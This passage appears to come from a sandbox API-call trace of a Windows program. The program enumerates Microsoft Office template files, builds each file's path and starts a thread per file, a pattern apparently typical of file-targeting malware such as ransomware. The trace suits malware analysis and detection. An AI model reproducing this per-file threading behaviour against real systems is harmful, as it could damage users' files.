Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx" [0129.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe54 [0129.985] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb12da100, ftCreationTime.dwHighDateTime=0x1c69a95, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb12da100, ftLastWriteTime.dwHighDateTime=0x1c69a95, nFileSizeHigh=0x0, nFileSizeLow=0x2e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitchbook.potx", cAlternateFileName="PITCHB~1.POT")) returned 1 [0129.985] wcscmp (_String1="Pitchbook.potx", _String2=".") returned 1 [0129.985] wcscmp (_String1="Pitchbook.potx", _String2="..") returned 1 [0129.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050b3d0 [0129.985] wcscpy (in: _Dest=0x2050b3d0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.985] wcscat (in: _Dest=0x2050b3d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.985] wcscat (in: _Dest=0x2050b3d0, _Source="Pitchbook.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" [0129.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff0 [0129.986] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x9fd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusReport.potx", cAlternateFileName="PROJEC~1.POT")) returned 1 [0129.986] wcscmp (_String1="ProjectStatusReport.potx", _String2=".") returned 1 [0129.986] wcscmp (_String1="ProjectStatusReport.potx", _String2="..") returned 1 [0129.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205cdd0 [0129.986] wcscpy (in: _Dest=0x4205cdd0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.986] wcscat (in: _Dest=0x4205cdd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.986] wcscat (in: _Dest=0x4205cdd0, _Source="ProjectStatusReport.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" [0129.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cdd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4c [0129.988] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cd1000, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72cd1000, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x3b42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJPLAN.XLTX", cAlternateFileName="PROJPL~1.XLT")) returned 1 [0129.988] wcscmp (_String1="PROJPLAN.XLTX", _String2=".") returned 1 [0129.988] wcscmp (_String1="PROJPLAN.XLTX", _String2="..") returned 1 [0129.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4c220 [0129.988] wcscpy (in: _Dest=0x1cf4c220, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.988] wcscat (in: _Dest=0x1cf4c220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.988] wcscat (in: _Dest=0x1cf4c220, _Source="PROJPLAN.XLTX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" [0129.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a50 [0129.989] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeda0600, ftCreationTime.dwHighDateTime=0x1c6d971, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdeda0600, ftLastWriteTime.dwHighDateTime=0x1c6d971, nFileSizeHigh=0x0, nFileSizeLow=0x17697, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuizShow.potx", cAlternateFileName="QUIZSH~1.POT")) returned 1 [0129.989] wcscmp (_String1="QuizShow.potx", _String2=".") returned 1 [0129.989] wcscmp (_String1="QuizShow.potx", _String2="..") returned 1 [0129.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4c100 [0129.989] wcscpy (in: _Dest=0x1cf4c100, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.989] wcscat (in: _Dest=0x1cf4c100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.990] wcscat (in: _Dest=0x1cf4c100, _Source="QuizShow.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" [0129.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a54 [0129.991] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xa8ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="SalesReport.xltx", cAlternateFileName="SALESR~1.XLT")) returned 1 [0129.991] wcscmp (_String1="SalesReport.xltx", _String2=".") returned 1 [0129.991] wcscmp (_String1="SalesReport.xltx", _String2="..") returned 1 [0129.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4c340 [0129.991] wcscpy (in: _Dest=0x1cf4c340, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.991] wcscat (in: _Dest=0x1cf4c340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.991] wcscat (in: _Dest=0x1cf4c340, _Source="SalesReport.xltx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" [0129.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a58 [0129.992] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88423a00, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x88423a00, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x2aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKLIST.XLTX", cAlternateFileName="TASKLI~1.XLT")) returned 1 [0129.992] wcscmp (_String1="TASKLIST.XLTX", _String2=".") returned 1 [0129.992] wcscmp (_String1="TASKLIST.XLTX", _String2="..") returned 1 [0129.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4bad0 [0129.992] wcscpy (in: _Dest=0x1cf4bad0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.992] wcscat (in: _Dest=0x1cf4bad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.992] wcscat (in: _Dest=0x1cf4bad0, _Source="TASKLIST.XLTX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" [0129.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a5c [0129.994] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa697690, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x44ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimeCard.xltx", cAlternateFileName="TIMECA~1.XLT")) returned 1 [0129.994] wcscmp (_String1="TimeCard.xltx", _String2=".") returned 1 [0129.994] wcscmp (_String1="TimeCard.xltx", _String2="..") returned 1 [0129.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4bbf0 [0129.994] wcscpy (in: _Dest=0x1cf4bbf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.994] wcscat (in: _Dest=0x1cf4bbf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.994] wcscat (in: _Dest=0x1cf4bbf0, _Source="TimeCard.xltx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" [0129.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f04 [0145.472] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x12f35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Training.potx", cAlternateFileName="TRAINI~1.POT")) returned 1 [0145.472] wcscmp (_String1="Training.potx", _String2=".") returned 1 [0145.472] wcscmp (_String1="Training.potx", _String2="..") returned 1 [0145.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x2050a4a0 [0145.472] wcscpy (in: _Dest=0x2050a4a0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0145.472] wcscat (in: _Dest=0x2050a4a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0145.472] wcscat (in: _Dest=0x2050a4a0, _Source="Training.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" [0145.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af4 [0145.473] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanLetter.Dotx", cAlternateFileName="URBANL~1.DOT")) returned 1 [0145.473] wcscmp (_String1="UrbanLetter.Dotx", _String2=".") returned 1 [0145.473] wcscmp (_String1="UrbanLetter.Dotx", _String2="..") returned 1 [0145.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x2050b070 [0145.473] wcscpy (in: _Dest=0x2050b070, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0145.473] wcscat (in: _Dest=0x2050b070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0145.473] wcscat (in: _Dest=0x2050b070, _Source="UrbanLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx" [0145.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f48 [0145.474] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x138a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanMergeFax.Dotx", cAlternateFileName="URBANM~1.DOT")) returned 1 [0145.474] wcscmp (_String1="UrbanMergeFax.Dotx", _String2=".") returned 1 [0145.474] wcscmp (_String1="UrbanMergeFax.Dotx", _String2="..") returned 1 [0145.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050abf0 [0145.474] wcscpy (in: _Dest=0x2050abf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0145.474] wcscat (in: _Dest=0x2050abf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0145.474] wcscat (in: _Dest=0x2050abf0, _Source="UrbanMergeFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" [0145.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050abf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fac [0145.475] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanMergeLetter.Dotx", cAlternateFileName="URBANM~2.DOT")) returned 1 [0145.475] wcscmp (_String1="UrbanMergeLetter.Dotx", _String2=".") returned 1 [0145.475] wcscmp (_String1="UrbanMergeLetter.Dotx", _String2="..") returned 1 [0145.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1870 [0145.475] wcscpy (in: _Dest=0x202b1870, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0145.475] wcscat (in: _Dest=0x202b1870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0145.475] wcscat (in: _Dest=0x202b1870, _Source="UrbanMergeLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" [0145.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb0 [0145.476] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x40d6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanPhotoAlbum.potx", cAlternateFileName="URBANP~1.POT")) returned 1 [0145.476] wcscmp (_String1="UrbanPhotoAlbum.potx", _String2=".") returned 1 [0145.476] wcscmp (_String1="UrbanPhotoAlbum.potx", _String2="..") returned 1 [0145.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1230 [0145.476] wcscpy (in: _Dest=0x202b1230, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0145.476] wcscat (in: _Dest=0x202b1230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0145.476] wcscat (in: _Dest=0x202b1230, _Source="UrbanPhotoAlbum.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" [0145.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa8 [0145.477] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xd0fbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanReport.Dotx", cAlternateFileName="URBANR~1.DOT")) returned 1 [0145.477] wcscmp (_String1="UrbanReport.Dotx", _String2=".") returned 1 [0145.477] wcscmp (_String1="UrbanReport.Dotx", _String2="..") returned 1 [0145.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x2050af50 [0145.477] wcscpy (in: _Dest=0x2050af50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0145.477] wcscat (in: _Dest=0x2050af50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0145.477] wcscat (in: _Dest=0x2050af50, _Source="UrbanReport.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" [0145.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050af50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b7c [0145.477] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ed1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanResume.Dotx", cAlternateFileName="URBANR~2.DOT")) returned 1 [0145.477] wcscmp (_String1="UrbanResume.Dotx", _String2=".") returned 1 [0145.477] wcscmp (_String1="UrbanResume.Dotx", _String2="..") returned 1 [0145.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x2050ada0 [0145.477] wcscpy (in: _Dest=0x2050ada0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0145.478] wcscat (in: _Dest=0x2050ada0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0145.478] wcscat (in: _Dest=0x2050ada0, _Source="UrbanResume.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" [0145.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ada0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed0 [0145.478] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d4c00, ftCreationTime.dwHighDateTime=0x1c6d972, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x29d4c00, ftLastWriteTime.dwHighDateTime=0x1c6d972, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="WIDESC~1.POT")) returned 1 [0145.478] wcscmp (_String1="WidescreenPresentation.potx", _String2=".") returned 1 [0145.478] wcscmp (_String1="WidescreenPresentation.potx", _String2="..") returned 1 [0145.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8627d0 [0145.478] wcscpy (in: _Dest=0x1b8627d0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0145.478] wcscat (in: _Dest=0x1b8627d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0145.478] wcscat (in: _Dest=0x1b8627d0, _Source="WidescreenPresentation.potx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" [0145.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8627d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac0 [0145.479] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d4c00, ftCreationTime.dwHighDateTime=0x1c6d972, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x29d4c00, ftLastWriteTime.dwHighDateTime=0x1c6d972, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="WIDESC~1.POT")) returned 0 [0145.479] FindClose (in: hFindFile=0x1cd9d1f0 | out: hFindFile=0x1cd9d1f0) returned 1 [0145.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21530) returned 1 [0145.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86f0c0) returned 1 [0145.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 